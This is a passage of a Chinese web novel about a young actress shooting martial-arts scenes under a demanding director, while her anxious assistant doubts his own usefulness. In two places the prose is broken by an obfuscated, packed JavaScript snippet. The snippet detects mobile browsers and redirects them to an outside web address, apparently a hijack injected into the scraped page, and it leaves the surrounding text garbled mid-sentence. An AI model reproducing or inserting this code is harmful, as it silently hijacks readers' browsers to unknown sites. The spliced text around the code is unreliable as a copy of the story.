作为一个演艺圈门外汉,柏临渊不清楚人情往来,分不清各路明星与工作人员。作为“贴身助理”,他能做的也极为有限。比起簇拥在各方明星身边的那些喂水喂饭的全能助理,他简直像是个来凑热闹的。 视帝能指点剧本、导演能指导演技、来来往往的众人也能为应璋做上许多事,他除了帮应璋打理日常事务还能做什么呢? 柏临渊不知道。 他从来没有这样无助过。 在校园的那些日子,他向来都是最有用的那个,从来没有这样的无力感。柏临渊想留在应璋身边,但是他找不到自己的定位。 能做家务的人很多,会做饭的人也很多,为什么一定会选他呢?现在的生活已经不是只有他们两个了。 时间一久,柏临渊的焦虑再也掩饰不住,顺着共感影响到了应璋。 起初应璋还没认识到是柏临渊的情绪出了问题,只当是她演技太差、学习进度太慢导致的情绪问题。 适度的焦虑和压力不是坏事,在这些情绪的影响下,应璋的效率和学习进度也提升了不少。 这天导演问应璋要不要演一场试试,应璋同意了。 这场戏是李飞元与家人决裂后,只身前往西山大营以武入伍。这时的李飞元还是稚嫩的少年郎,没有家世支撑,也没有明主支持,鲁莽比勇武更早认识他。 这场戏对应璋而言难度并不算太大,一场以一敌三的动作戏,再加上少年人的莽撞和勇敢即可。 原本的剧本是李飞元和百夫长一对一的,但陈导在看完《明月雪时》里应璋的表演后,临时找编剧改了剧本。 用陈导的话讲,这样看着比较爽。 应璋:谢谢导演的加戏。 应璋此刻一身锦缎圆领袍,看起来像是一个不谙世事的小公子,眉宇间既傲气又灵动,俏生生地站在军营大门前,看起来像是一个二世祖。 这一场戏原本陈导是想让应璋素颜出镜,这样能显得她粗糙一点,像个武生。但是她精致的五官就在那摆着,哪怕不施粉黛也极其抓人眼球。 “这也太嫩了。”陈导嘀咕着,喊来了场务,“让化妆师过来两个,带上能画晒伤妆的东西。” 在导演怎么粗糙怎么来的要求下,两位化妆师忍痛在应璋脸上涂涂抹抹,硬是把一个明艳的大美女化成一个狼狈糙汉。 “对了!”陈导看了倒是很满意,“这就是我想要的李飞元,开拍吧。” 场记打了板之后,众人进入拍摄状态。 “哪来的公子哥?跑来西山大营玩过家家来了?” “这是军营,不是你穿着绫罗绸缎耍乐子的地方!” “小少爷还是回家找娘亲吃奶吧!” 营门口饰演小兵的几个龙套嘻嘻哈哈地开口,言语之间满是戏谑和不以为意。 “我说,我是来当兵的。”应璋饰演的李飞元高声道,语气中依稀能感受到被轻视的愤怒,“你们难道不应该去通传吗?” 陈导暗自点头,这段表演不算成熟,但却非常生动地演绎了年轻人的生涩。陈导原以为应璋会放不开,结果发现这孩子完全没有美女包袱,不管是语言还是动作看起来都很像少年郎。 “哼,这是军营,不是你胡混的地方。” “就你这副弱鸡样子,连我们几个看门的都打不过,还当兵?” “估计连刀枪都拿不起来吧?” “哈哈哈哈哈哈……” 几人你一言我一语地嘲笑起来:“你连我们都打不过,别在这闹笑话了!” “打得过!”李飞元昂首挺胸,动作间尽是少年意气,“你们三个一起上,我也打得过!” 龙套们并不是专业武打出身,只是有过动作类拍摄经验,和武指老师学了一些套路和应璋慢速过了两遍就直接开机了。 由于对方并非专业人员,应璋在拍摄时也没去显摆她会多少招式套路,老老实实地按照武指编排的路数和几位群演对戏。 应璋天天跟在导演身边,稍微在剧组待得久一点的人都知道陈导有多看重这个小姑娘,哪里还敢对她下什么重手? 群演们随即拿出了在其他剧组和流量明星对戏的那套,动作又轻又慢,看起来像是什么动作教学。 这也不能怪这些群演。流量明星别说受伤了,就算露出些疲态都有粉丝追着合作的演员骂,他们这些一年酬劳还没明星剧组保险高的龙套群演哪里敢真的和明星动手? 做做安全的慢动作、假动作,再后续调速剪辑一下,这已经是行业内心照不宣的潜规则了。 但陈导显然不这么想。 “你们动作太飘了,要做得实一点!”陈导眉头紧锁,显然对刚才的镜头并不满意,“你们是军痞打架,不是幼儿园过家家,再来一遍!” “没事,不用收着力气,打不坏的。”应璋安抚地笑笑,挽了个剑花送剑归鞘。 几个群演你看看我,我看看你,谁也没敢把应璋的话当真。 虽然现在应璋画得像个糙汉,但之前素颜的时候可是明艳挂大美女,真要给人弄个淤青磕碰,他们绝对吃不了兜着走。 一遍戏走过,陈导的眉头不仅没松开,脸还黑了。 “你们拍的什么玩意?会不会打?不会打换人!” 为了保住饭碗,群演们终于拿出了真力气,但囿于技术和经验,最后的成片并不如陈导想的那般惊艳。 “老洪,你带几个人和小应打。”陈导干脆换了人,一边让武指带人亲自上,一边给应璋画饼,“小应你别收着,拿出拍《明月雪时》那股劲,拍好了我送你去许云辉那拍电影!” 应璋脆生应了下来:“好嘞!导儿~” 武指老师不太清楚应璋的底子,但是常年混迹在这一行的,总知道怎么拍上镜,怎么做视觉效果更好。毕竟也是带过纯小白明星的人,怎么喂招还是清楚的。 开机前武指带着助手和应璋又过了一遍动作,导演看得满意了,才叫开机准备。 武指老师的演技显然不如群演,几句台词说得硬邦邦的,听得导演深呼吸。 台词过得差不多,几人便缠斗在了一起。武指老师手持长枪,应璋握剑。起初还是按照排练的动作走的,但是镜头一开应璋就没再收力,有些招式猛得让武指老师都吃不太住。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686607|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 助手小王是最先失手的。 应璋一个侧劈直接挑落他手上的枪,小王顺着力道就地以滚脱离了战圈。 拍摄到了这里已经和众人之前的排演完全不一样了,另一位助手老董一着急,手上也失了分寸,长枪直接对着应璋的手腕去了。 而此时应璋还是按照原本的编排和武指老洪对打,没能完全躲开老董的长枪,枪尖砸在剑柄上,直接把剑给打脱手了。 身子跑得比脑子快的应璋一把抓住老董的枪杆,一拖一送直接把人甩到了老洪身上,老哥俩撞在一起摔作一团,就地一趟哎呦哎呦地叫了起来。 应璋:哦豁!完蛋!她把人给打了! “对不起对不起对不起……”应璋小跑着过去扶人,“洪老师董老师没事吧?磕着哪里了吗?” “cut!”陈导大喊一声,脸上是抑制不住的兴奋,“好好好!这套动作好!” 应璋:…… 别叫好了导演,先看看你的工作人员吧! 老董和老洪也没用人扶,自己拍拍屁股爬起来了。 “应老师,您是真有两把刷子!”老洪比了个大拇指,语气中的欣赏和赞叹简直要溢出来了,“怪不得陈导坚持要我们几个上,这要是没两下子还激发不出您的真本事!” 应璋有些不好意思,她把人给打了,人还夸她打得好,这事闹得…… “再保一条,我拍点特写。”陈导拿着大喇叭喊了起来,“你们休息一下,状态保持住啊!” 忙活了半天,应璋今天的戏份终于都结束了,可以下戏休息休息了。 从化妆室出来的时候,应璋正好撞见了视帝陈峰。 “表现不错。”陈峰还穿着戏服,神情却没有当初试镜那般摄人,“比试镜那会成长了很多,好好学,过几年少说能捧个最佳女配角。” “陈老师过誉了。”应璋并没有把这种客套话往心里去,“还是老师们教的好特别是您,教我顺剧本,我才能把李飞元吃透。” “还得你有悟性才行!”陈峰哈哈大笑,“打完架本来很累,但是你那股少年郎骄傲肆意的劲演得特别好!陈导本来想夸你,又怕你骄傲,憋着等你走了才跟我一顿炫耀。” “哈哈哈,陈导这是怕我骄傲。”应璋也跟着笑了起来,“该说不说,要是陈导当面夸我,我肯定尾巴都翘起来了!” 陈峰失笑:“那我当面夸你,你不翘尾巴?” “不翘。”应璋笑嘻嘻地插科打诨,“您这是老师检验教学成果,属于友情鼓励!” “你啊!” 陈峰摇摇头,看向应璋身后的柏临渊,沉吟片刻道:“你今天身上多少有些磕磕碰碰吧?我找个女助理过去帮你涂药。” “不用不用。”应璋摆手,婉言谢绝,“那就到涂药这么严重了,最近几天都是文戏,不碍事。” 正好助理过来找人,陈峰便也没有继续坚持,打了个招呼就和助理走了。 被夸了一通的应璋心情大好,早早地爬进了被窝。 只是应璋并没有睡上美觉,还没进入深睡状态,就被一阵难言的失落和焦虑给烦醒了。 ??? 不是,她今天表现这么好,怎么会失落焦虑? 揉乱了头发也没想出个所以然的应璋长叹一声,蹬着被子开始烧烤。 不是,为什么啊?她睡得好好的怎么会突然焦虑?做梦没吃上饭?不至于吧…… 瞪着眼珠子四处乱瞟的应璋突然注意到门缝处隐隐的光亮,福至心灵:这不就是共感吗?都是柏临渊的情绪,不是她应璋的啊! 想到这里,应璋立马下床敲门。 “柏临渊,你睡了吗?” 柏临渊似乎被吓了一跳,房间里乒乒乓乓响了一会,才有声音传来:“没有,你有什么事吗?” 应璋立马推开门,进了柏临渊的房间:“你的案子要开庭了?” 不明所以得柏临渊缓缓抬头:“啊?” “不是这个?”应璋一屁股坐在柏临渊床边,好奇地盯着他看,“那你焦虑什么?撤稿不顺利?” “没有,很顺利,流程已经在走了……”柏临渊下意识地回答道,慢一拍才想起来要反驳,“我没有焦虑……” “你确定?”应璋凑近,盯着柏临渊的眼睛似笑非笑,声音拖得长长的,“你忘了,共感……” 突然逼近的身影还带着沐浴后的香气,距离近得让柏临渊能感受到应璋说话时小小的气流。 不知道是夜色太好,还是他心太乱。 柏临渊低头靠在应璋胳膊上,微微叹气,纠结着要不要讲讲心里话。 “你拿什么烫我?”应璋抬手搬起柏临渊的头,瞪大双眼,“你怎么拿耳朵烫我?” 柏临渊:…… 还好他刚刚把气叹出去了,不然现在这口气肯定哽在他胸口了。 “你发烧了?” 应璋伸手摸了摸柏临渊的额头,手下的温度和她的差不多。 “这也没发烧啊?总不能发烧热在耳朵上了吧?” 柏临渊无奈地感受着耳朵上捏来捏去的微凉小手,忍不住又叹了一口气。 他在失落焦虑什么?这傻姑娘压根没开窍,还在玛卡巴卡呢…… “不会是冻伤了吧?” 想到今天的温度,应璋有点不太确定的小声问道:“痒不痒?痛不痛?我好像没感觉到?” “有点痒……”柏临渊轻咳一下,转移话题,“我睡一觉就好了,明天给你检查,肯定不会像现在这么烫了!” “真的?”应璋打了个哈欠,觉得柏临渊在框她。 “真的。” 柏临渊握住捏在他耳朵上的手,把手拿了下来:“明天你验证一下不就知道了?” “也是……” 应璋又打了个哈欠。 扰人的情绪渐渐褪去,困得脑子发蒙的应璋根本没转过来这个弯,也没了追问下去那股劲,被柏临渊几句就哄回了卧室。 还挺好哄的。 柏临渊看着反锁的门,翘起嘴角。 进入梦乡的前一秒,应璋咂了咂嘴、 没说两句就调整好了情绪,柏临渊还挺好哄。 39. 片场 “最近剧组外的媒体少了不少。” 编剧李鸥捧着杯子往陈导身边一坐,语气颇为感慨。 “小应沉得住气。” 陈导吹了吹浮在水面上的茶叶,借喝水的动作遮住翘起的嘴角。 李鸥看着屏幕上挥枪纵马的身影,没忍住翻了个白眼:“这样的好孩子这些年可不多见了,你真不给她加戏?李飞元还能再添一添的。” “不用。”陈导盯着应璋的动作,眼睛里的满意都快溢出来了,“这是《宣熙大帝》,又不是《李飞元传》,加什么?” “少来!”编剧嗤笑,“拢共三四集的小角色,你把人按在剧组一个月,真正的拍摄才开始一周多,你没别的心思?” “暂时没有。”陈导又喝了一口茶,后背紧贴在椅背上,看起来颇为闲适。 “没有?” 合作了近二十年,李鸥还不知道他陈继忠肚子里那点小九九? “上个演李飞元的演员,进组之后你就没管过。原本说好让小应适应一个星期就开拍,你倒好,抓着人小姑娘一教就是大半个月,也不怕人家嫌你烦!” “她敢?”陈导轻哼,“要不是怕她去老陈那丢我的脸,不然就这电视剧镶边角色,还能值得我费这么大心?” 三言两语诈出老友真心话的李鸥哈哈大笑:“我就说你小子肯定还有其他的安排!” “这么好的苗子,教一教就能上,总不能真看着她被前经纪公司坑到没有戏拍吧?” 陈继忠年纪大了,在圈子里混了几十年,什么牛鬼蛇神没见过?有些人资历越老架子越大,有些人不一样,比如他陈继忠,他这些年最喜欢做的就是提携新人。 现今自带资源但是演技稀烂的演员一抓一大把,但因为投资和各方博弈,导演们也只能捏着鼻子忍了。早几年还能一个动作一个镜头的抠着教,现在恨不得随便拍拍全靠后期。 陈继忠看不惯,但他一个人也不可能跟整个圈子拧着来。于是这些年看到一些愿意演小角色的新人,他也愿意带一带。 不管大荧幕还是小荧幕,怎么也得有不敷衍观众的好演员吧? “cut!”陈导满意喊了停,“这场拍的不错,大家都休息休息,趁光线好等会再保一条!” 应璋翻身下马,从柏临渊手上接过能量饮料,一口气喝了半瓶。 这场戏是李飞元临危受命的封将之战,意气风发的少年将军率兵出征,这一战既要体现李飞元的谋略和勇武,又要展现他对子民的关怀和博爱,场景和情感都比较复杂。 虽然不是在同一天拍摄的,但主线演下来人物不能跑偏,总不能前一秒还在冰冷无情,下一秒就对民众友善仁爱,人物演得太割裂,别说观众了,陈导这关她就过不去。 又是高强度动作戏,又是复杂人物感情戏,一场下来人都要被抽干了。 “要不要吃黄油年糕?我做了减糖版本的。” 柏临渊掏出一个打包盒,里面是一个个板栗造型的圆胖年糕。 “吃!” 应璋双眼放光,连着拍了快一小时,早上喝的那两口粥已经消化得差不多了,现在简直饿得前胸贴后背。再不吃点什么,她就撑不住这一身盔甲了。 “哎——哎?” 没等应璋的手挨着年糕,柏临渊就一闪抽回了手,紧接着一包酒精湿巾就递到了应璋面前。 应璋:…… “要不你喂我吧。”应璋想了想,觉得还是让柏临渊直接投喂比较好,“小心点别蹭到我的唇妆!” 看着应璋整整齐齐的大白牙,柏临渊最后还是没能绷住,擦了擦手开始投喂。 为了方便吃,柏临渊做得个头并不大,只有市场售卖的一半大,对于胃口向来很好的应璋而言,这种程度的点心一口一个简直不要太轻松。 于是一个举着等等对方咬断,一个张着嘴等对方丢进来,两个人都在等对方的动作,一时僵在原地。 “你们这是在干什么呢?”李鸥注意到这边的动静,拖着陈导一起过来了。 听到背后有人说话,应璋直接用牙扯住年糕,舌尖一勾卷进嘴里,努力嚼嚼嚼。 “你们(嚼嚼嚼)吃不吃(嚼嚼嚼)黄油年糕(嚼嚼嚼)。” 因为吃着东西讲话不太礼貌,但被两双眼睛盯着又感觉怪怪的,应璋只能嚼两口空出嘴巴回话,然后再嚼两口。 “你们买了点心?我尝尝!”李鸥是个吃货,闻言便感兴趣地凑了上来。 “外地朋友送来的,也不知道是哪买的。”应璋笑眯眯地点头,把盒子往编剧那边递了递,“李老师尝尝看,陈导要不要也试试?” 李鸥很小心地捏了两块,自己一块老友一块地分了。 “这味可以啊!香而不油,弹牙又不紧,估计是外地做的,婺州这边没吃过这样的。” 李鸥人生中一多半的时间都花在这样嘴上了,体型富态圆润,看起来是一点没有亏待他这张嘴。 “那我分您一半吧,您待会慢慢吃,就当零嘴了。” 等两人走了,柏临渊才轻轻扯了扯应璋的袖子。 “为什么不说是我自己做的?” 柏临渊声音听起来好像有点委屈,声音虽轻,但“自己”二字上的重音还是很明显的。 “我知道呀。”应璋凑到柏临渊耳边咬耳朵,“李编一看就是特别会吃的,万一他隔三差五地想吃,你还能隔三差五地给他做吗?” “可以啊……”柏临渊学着应璋的样子小声咬耳朵,“跟他打好关系,以后他有好剧本说不定还能想着你呢?” “做饭是你的爱好,不是职业。” 应璋气乐了,被人盯上做饭手艺难道是什么好事吗?怎么还有人折腾自己帮助他人的? “给编剧做了,导演也要,你能不给做?制片万一想吃,你能拒绝?” “可以啊。”柏临渊觉得没什么问题,“对你有好处就行!” “你是我的助理小柏,又不是剧组的厨子,呆不呆?有这个时间做点喜欢的事情不好吗?” 应璋恨不得去戳这个人的脑袋,真是怪舍己为人的咧!不过想想柏临渊的原生家庭,大概也能理解,这家伙大概是习惯性讨好身边的人,好像只要无限付出,就会有回报一样。 在心里叹了口气,应璋觉得刚刚她说的话有点重,性格使然,也不能怪他会这样想。 “你要是天天给他们做好吃的,能陪我的时间不久少了吗?” “我喜欢的事情就是做饭啊……”柏临渊抬眼小心观察着应璋的表情,声音越来越虚、越来越小,“我可以早起做,不会占用其他时间……” …… 真是油盐不进啊! “能实诚点吗?”应璋深呼吸,把手背在身后,忍住敲对方一个爆栗的冲动,“你做饭一周都不带重样的,喜欢重复做别人指定的食物?” 柏临渊:“……不喜欢,但是可以做。” 应璋:…… 这是什么上班圣体?不喜欢,但是可以做,还能做得很好。 “真的……我还是很有用的……”柏临渊小声补充。 “你不给别人做饭也是很有用的!”忍了半天的爆栗还是扣在了柏临渊的脑门上,“我去拍戏,晚上回去再说你!” 柏临渊看着应璋气呼呼的背影,有些茫然。 有用的人才有价值,这是他从小接受的教育理念,也是一直这样做的。 他这么做,不对吗? 柏临渊理不清思绪,下意识抬头去找应璋的身影。 红衣银甲在一片乌压压的暗色中尤为瞩目,若雷霆炸惊。马蹄扬起的尘土恍如云雾,衬得应璋犹如天将。 明明被众人和众多器材包围着,但柏临渊只能看到应璋一个人,看着她长枪簪缨,一马当先冲在最前方。 眼睛是亮的,枪尖是亮的,铠甲也是亮的。 像是阴暗的舞台上,唯一沐浴在聚光灯下的主人公。 人海和厮杀困不住她,也掩盖不去她的光亮,行云流水般的动作看起来极富美感,像是在刀尖血海中起舞,杀气也蒙上了一层瑰丽。 “cut!”陈导兴奋大喊,“比上一条还好!保持住!我们再拍几组近景!” 柏临渊喉结动了动,悄悄走到陈导身后,从陈导和李编两人间的缝隙看向监视器。 现在正好拍摄到眼神戏的特写,血珠欲落不落地挂在应璋的睫毛上,眼睛黑亮有神,杀伐与愤怒交织,看得人心头一凛。 “这个眼神好,这是教出来了。”李鸥很是惊喜,拍了拍老友的肩膀,“有李飞元那股冲劲。” 陈导笑得颇为得意,原本没这个镜头的,是他临时起意让摄影往前推,没想到抓到这么精彩的眼神。 这已经远超他的预期了。 应璋原本的水准就是网剧演员大流那种,表情虚浮又用力,属于那种别人一看就知道在演,什么眼神、情绪统统没有。 “小应是好孩子,听话又爱学习。”陈导显然对应璋的表现非常满意,言语之间带着一股炫耀孩子一样的得意,“就是之前那个公司耽误她了,不然这孩子现在至少是个大青衣预备役了。” “大青衣?”李鸥推了推眼镜,看看屏幕又看看陈导,觉得他在开玩笑,“有点夸张了吧?” “小应骨相好,五官明艳大气,气质也好。”陈导点了点屏幕,“这不是电影脸是什么?” “太漂亮了。”李鸥摇头,“戏路有限,漂亮成这个样子,很多角色都接不了。” “屁的有限。”陈导冷哼,第一次觉得老友眼神不行,“反串都有模有样的演员,只要演技上去了,什么角色接不了?” 李鸥:“你以前……” “以前是以前,现在是现在。”陈导眼睛微眯,语气颇为不屑,“普通长相都敢演绝世大美人了,长得漂亮怎么了?至少上镜看得舒服!” 看着大有拌嘴之势的二人,柏临渊默默往陈导身后挪了一步,以示他的立场。 应璋没什么表演技巧,不过有一众名师教导,多少对演绎角色也有了几分心得。对于没有什么技术和技巧的应璋而言,代入式演绎就是最佳选择。 把自己代入到角色中并不是什么容易的事,至少对应璋来说不是。毕竟每每出门在外给自己安排身份时,她每次都会被自己随口编的内容逗笑。 没办法,想到即将胡说八道的话,就很难绷住。 但是经过这几天的演绎,应璋渐渐也摸出一些门道来——时时刻刻把自己当成李飞元很难,但是在拍戏的时候把自己代入李飞元的情绪很简单。 在众名师的辅导下,应璋对于情绪和神态的演绎也逐渐重视起来。 以前跑龙套的时候,最重要的事情就是“放”,不管是好的、坏的、肢体、表情都要足够明显和夸张。 但是正式的剧组并不是这样的,荧幕的精细度不需要演员像演戏剧那样,用“放”来弥补空间和距离,所以细节和情绪便显得尤为重要。 摸清门道之后,应璋NG的次数渐渐也少了不少,再加上陈导近乎亲身示范的指导,应璋的表演也算是有了几分模样。 这场拍摄之前,应璋刚被柏临渊离谱的奉献精神气的偏头痛,带着这样的情绪代入李飞元的愤怒,便让角色一下子鲜活起来。 拍戏是很枯燥的,同样的动作同样的话一遍遍重来。哪怕是已经过掉的或者一遍过的戏份,出于角度或者细节之类的考量,也会被要求再拍几条或者保几条。 《明月雪时》是小剧组,制片和导演都舍不得太烧钱,一般就是保一条或者按脚本拍一些特写,重复程度并不算太高。 但《宣熙大帝》不一样,陈导要开机,投资人能排成长队。不缺钱导演又有话语权,在这里,哪怕是陈峰都要老老实实地一条拍个四五遍。 像应璋这样的菜鸟,不NG的话至少要拍三四遍,NG了就是十条打底。 镜头突然推眼部特写的时候,应璋已经把这段拍了五六遍了。起初柏临渊呆愣操作带来的怒气早就被消磨得一干二净了,但在一遍又一遍地演绎中,应璋渐渐感受到了李飞元的情绪。 那是一种混杂着仇与怨的愤怒。 这场战事的艰难百分之九十要归咎于朝廷的敷衍。粮草与物资都很少,连维生都很勉强,用什么去和北狄骁勇的骑兵为敌?难道用将士们的肉身与命去搏吗? 临危受命的意气风发在巡营点校之后便荡然无存了,战场上看着己方士兵一批接一批倒下的李飞元现在只余愤怒。 既恨北狄撕毁条约突然燃起战火,又怨当权者敷衍对待这支在边疆为国民厮杀的军队。 “cut!” 陈导满意喊停,让演员们休息休息恢复一下体力。 今天还有最后一场武戏,李飞元围救被困副将。这种群像打斗没有什么复杂动作或招式,但需要众人通力配合,因此实际拍摄起来难度并不小。 应璋下了场抱着瓶子喝完了剩下的半瓶能量饮料,长出口气:“有没有水啊?能量饮料太甜了,喝完还是渴。” “有!”柏临渊手忙脚乱地翻出保温杯,“可能有点烫,喝慢一点。” 被杯子里的热气糊了一脸的应璋像老大爷一样,贴着边吸溜了两口水之后,觉得好像也没那么渴了。 “刚刚好像听到导演要给你推什么角色……”柏临渊小声汇报着刚刚听来的消息,眉宇之间满是期待。 总感觉放任他再继续讲下去,等会就能看到一条毛茸茸的大尾巴了。 “停!”应璋错开眼避开柏临渊越说越亮的眼睛,直接出声打断,“你别想什么美食投喂,我才几斤几两?真闷头往里扎,骨头里的油都能被刮干净。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769744|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “可是陈导人很好啊……”柏临渊还想再挣扎一下,“李编也很好啊……” “被骗了个狠的怎么还傻乎乎的什么都信?”应璋把热水杯塞给柏临渊,冲不远处喊她名字的化妆师招了招手,“就算都是好人,也要保持警惕,娱乐圈没有大善人。” 看着仰着头乖乖任化妆师摆弄的应璋,熟悉的无力和焦虑又丝丝缕缕地缠绕上来。 上一次,柏临渊还能和他自己说,应璋不会对其他人有男女之心,所以不需要有负面情绪。但这次不行了,他清楚地意识到,他的负面情绪的根源并不在应璋。 无力也好,焦虑也罢,所有的根源都来自于他的弱小。 他不能张开羽翼帮应璋遮住外界的风雨,也不能留在她身边做她的助力,他不过是一只,藉由共感黏在她身上汲取情绪价值的寄生虫。 举着剧本和对手戏演员们对戏的应璋并不清楚,在这短短的半个小时里柏临渊有怎样的心路历程,又下定了怎样的决心。 这场拍的是她的副将贪功冒进,身陷敌军包围被困,她率人前去救援的戏份。台词并不拗口,只是跨度比较大,从排兵布阵到救援沟通,比较吃情绪和状态,再加上武打动作,整体难度还是比较大的。 过了两遍剧本,又在心里默默推演了几遍动作,应璋这才走向拍摄场地。 第一遍陈导有意磨几人配合,并没有中途喊停,也没有出声指导。等众人完整地走过一遍戏后,陈导才一一指出众人的问题。 “小应你台词说的太硬了,调整一下节奏和吐息,咱们尽量用原声。还有你脸上的表情,有点太紧绷了,放松一点。” “郭寻,你被救之后不要愣,反应快一点,跟着小应的枪跑,动作机灵一点!” “老董,你们动作别太快,人一多容易乱,节奏稍微缓一缓……” 陈导严肃起来,平日里的和气便隐在黑脸之下。把所有人都讲了一遍之后,他才缓下表情,背着手往监视器的方向走去。 群像戏总有大大小小的问题,众人已经拍了十多遍了,陈导还是觉得不满意。特别是饰演副将的郭寻,基本每次导演都要单独点他一下。 拍到后面应璋已经不耐烦了,整个人又累又饿还困,面上看着似乎一如往常,但内心已经翻江倒海了。 场记打板之后,应璋纵马冲出去,按照之前编排好的动线和动作和群演们厮杀。 等冲到副将被包围的地方时,应璋出枪的速度比前几场快了不少,原本应该擦着众人武器划过的枪杆被一种刀枪斧钺砸了个正着,镀漆枪杆应声而裂。 枪要断了! 应璋直接用巧劲格开围堵的众人,一把扯起副将,带着人就跑。 “cut!过!” 陈导很满意,虽然这段与原本的编排并不一样,但视觉效果极好,看得他很是满意。 “导演,道具坏了。”应璋和郭寻客套了一番,确认对方身体健康无伤后,才转身走向陈导。 看着明显歪了不少的长枪,陈导沉默了。 到底是怎么坏成这样的? “先送去修修吧。”陈导挠了挠头,目露难色,“毕竟是定制的,短时间内也找不出差不多的了……” “啊……”应璋没想到这居然是定制的,“之前仓库里不是有好多?” “不一样,这个帅。”陈导一撸头发,“你别管了,这两天正好没有你的戏,放你三天假,养养伤再回来拍。” “谢谢陈导!” 应璋被这意外之喜转移了注意力,也没再和陈导讨论武器道具,带着柏临渊回了酒店。 刚进酒店,柏临渊来不及放下背上的百宝包就往楼上房间跑。 “诶诶诶……”应璋赶紧拦人,“说好的回来谈谈,你跑什么?” “这不是急着做饭?”柏临渊掂了掂背上的包,“背了半天包,早就饿了。” “你就把包放在椅子上呗?不是消过毒了?” 应璋叹气,这不就是没苦硬吃? 柏临渊摇头:“不行,不是你说的‘防人之心不可无’,片场那么乱,我可不放心。” “那你少装点东西呗?回头再给压坏咯!”应璋瞄着柏临渊的肩膀,“瞧你这肩膀僵的,等会我给你推一下。” 柏临渊把包从背上挪进怀里,小声应了一声,脚步都变轻快了。 助理小柏在厨房挥汗如雨时,女明星小应已经握着没摘完的菜靠在沙发上睡得香甜了。 柏临渊想了想,还是没去懂容易被吵醒的应璋,把灯调暗就回厨房了。 今天晚饭少了一份青菜,他得研究一下加个什么菜补上。 明天他们不用早起,要不炖个山药排骨汤? 等应璋揉着被她奇怪睡姿抻的酸痛的脖子醒来时,餐桌上已经摆上了四菜一汤。 应璋看了看她手上的菜心,又看了看桌子,举手提问:“菜心还要做吗?” “今天不做了,去洗手吃饭。”柏临渊伸手接过了应璋手上的青菜,把人赶进了洗手间,“不是说要找我算账?先吃饭,吃完饭再好好算。” 应璋对着洗手间的镜子愣神。 他这是在用食物转移她的怒火吗?毕竟吃人嘴短,被这么投喂一波,她也不好说得太凶不是? 饱餐一顿后,放下碗的应璋开始骂人。 “柏临渊,你过来,坐这。”应璋翻出药油,拍了拍沙发,“来,我帮你按按。” “你先休息吧,明天再按。”隐约嗅到一丝不妙的柏临渊端起桌子上的盘子就想溜,“今天你累坏了,先下去睡,等我收拾好了,就回房间……” “少来,把碗放下。”应璋才不吃这一套,“说好的吃完饭算账。” 柏临渊只能乖乖照做。 “我今天做的不对吗?我只是想帮你……”柏临渊看着应璋开空调撸袖子的架势,觉得有点不妙。 “少废话!把衣服脱了!”应璋伸手一拍柏临渊的后背,很是不满,“衣领那么老高,我怎么按?” 柏临渊顿了顿,伸手脱下身上的针织衫,红色从脖颈一路爬到耳后。 “这件也脱。”应璋点点柏临渊,示意他把打底衫也脱下来,“不然药油全蹭肩膀上了。” 赤色蜿蜒而上,柏临渊的脸上也染上了几分薄红。 “不……不用了……吧……”柏临渊抠着袖子,不敢看应璋的脸,“我里面没穿背心……” “嗐……”应璋绕到柏临渊背后,拖了个凳子一屁股坐下,“我在后面,不看你总行了吧?” 打底衫的袖角都快被柏临渊抠出洞了,抓着衣摆试图转移话题:“要不你先跟我算账吧……药油待会再推也可以……” “没事,可以边推边算账!”应璋打着哈欠,声音听起来有点软,但是说的话却很硬气,“不耽误事,一起。” 40. 熟人 空调吹得房间温暖如春,体感不冷不热刚刚好,但应璋却感觉手下的温度却比药油更胜一筹。 年轻人就是火力旺啊! 应璋一边感慨,一边调整力度帮柏临渊放松肌肉。 “放轻松,我又不会真批斗你。”应璋笑眯眯地用力,让力道透过药油穿透肌肤,到达更深的地方,“聊聊天吧,说说你为什么会想要给剧组当厨子。” “不是……”柏临渊试图转身反驳,但被肩上的一阵巨力按得闷哼出声,剩下的话都被悉数怼了回去。 揉开僵硬肌肉需要的力度不小,饶是柏临渊能忍痛,也被应璋这几下按得轻哼出声。许是发音在这样的场合下听起来有点暧昧,柏临渊伸手捂嘴,试图把声音憋在掌心。 于是小小的闷哼变成更闷的鼻音,听起来更加奇怪了。 声音怪娇的。 应璋在心底暗自嘀咕了一句,清了清嗓子开始找话分散注意力。 又取了一点药油涂在掌心,应璋一边顺着脊骨往下推,一边道:“不是什么?以我的咖位,要是别人来要我能拦得住吗?真开了这个口子,那你以后就住这吧,两眼一睁就是做饭!” “做就做。”柏临松开手,嘴里嘟嘟囔囔的。不服,但是声音小小的,听起来有种别样的窝囊,“反正你也不会一直在这拍戏,做两个月饭而已……” 应璋的动作顿了顿,很是诧异地看着柏临渊的背影,怎么也想不明白这个又高又壮的人为什么会有这么副棉花性子。 生活将他反复碾压,竟让他变得更加柔软舒适。 “怎么了……”听不到回应的柏临渊转过身来,“我说得不对吗……” “当然不对啊!”应璋回过神来,大声反驳,“又不是什么对你有好处的事情,怎么还任劳任怨的?” “但是可能对你有好处啊!”柏临渊的神情好像在说今天晚饭吃米饭一样自然。 应璋被他理所应当的语气弄懵了:“啊?” “我们不是朋友吗?” 柏临渊语气轻快,说话的速度比平时快了不少,像是提前排练过很多次,以至于一遇到他认为合适的对话场合,这种话就像背课文一下熟练而清晰地流了出来。 